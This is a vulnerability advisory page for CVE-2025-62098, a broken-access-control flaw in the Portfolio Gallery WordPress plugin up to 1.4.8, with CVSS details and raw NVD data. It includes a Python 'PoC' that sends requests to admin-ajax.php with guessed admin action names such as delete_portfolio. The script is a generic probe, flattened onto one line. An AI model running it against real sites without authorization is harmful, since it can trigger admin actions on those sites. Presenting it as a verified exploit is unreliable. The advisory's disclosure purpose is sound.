Security Vulnerability Report
中文
CVE-2025-62098 CVSS 5.4 MEDIUM

CVE-2025-62098

Published: 2025-12-31 15:15:52
Last Modified: 2026-04-23 15:34:32

Description

Missing Authorization vulnerability in totalsoft Portfolio Gallery gallery-portfolio allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Portfolio Gallery: from n/a through <= 1.4.8.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

gallery-portfolio WordPress插件 <= 1.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62098 PoC - WordPress Portfolio Gallery Broken Access Control # Target: WordPress site with totalsoft Portfolio Gallery plugin <= 1.4.8 def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-62098 """ # Common plugin paths paths = [ '/wp-content/plugins/gallery-portfolio/includes/', '/wp-admin/admin-ajax.php', '/wp-json/wp/v2/' ] print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: Missing Authorization in gallery-portfolio <= 1.4.8") # Test with low-privilege user session # In real attack scenario, attacker would use authenticated low-privilege session session = requests.Session() # Attempt to access admin-only functionality admin_endpoints = [ 'action=save_portfolio', 'action=delete_portfolio', 'action=gallery_portfolio_ajax' ] for endpoint in admin_endpoints: try: # This would be a crafted request to trigger unauthorized action url = f"{target_url}/wp-admin/admin-ajax.php?{endpoint}" response = session.get(url, timeout=10) # Check if response indicates successful unauthorized access if response.status_code == 200: print(f"[+] Potentially vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:200]}") except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("\n[*] PoC execution completed") print("[*] Note: This is a demonstration. Actual exploitation requires specific analysis.") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2025-62098-poc.py <target_url>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62098", "sourceIdentifier": "[email protected]", "published": "2025-12-31T15:15:52.450", "lastModified": "2026-04-23T15:34:32.107", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in totalsoft Portfolio Gallery gallery-portfolio allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Portfolio Gallery: from n/a through <= 1.4.8."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en Totalsoft Portfolio Gallery permite la Explotación de Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a Portfolio Gallery: desde n/a hasta 1.4.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gallery-portfolio/vulnerability/wordpress-portfolio-gallery-plugin-1-4-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}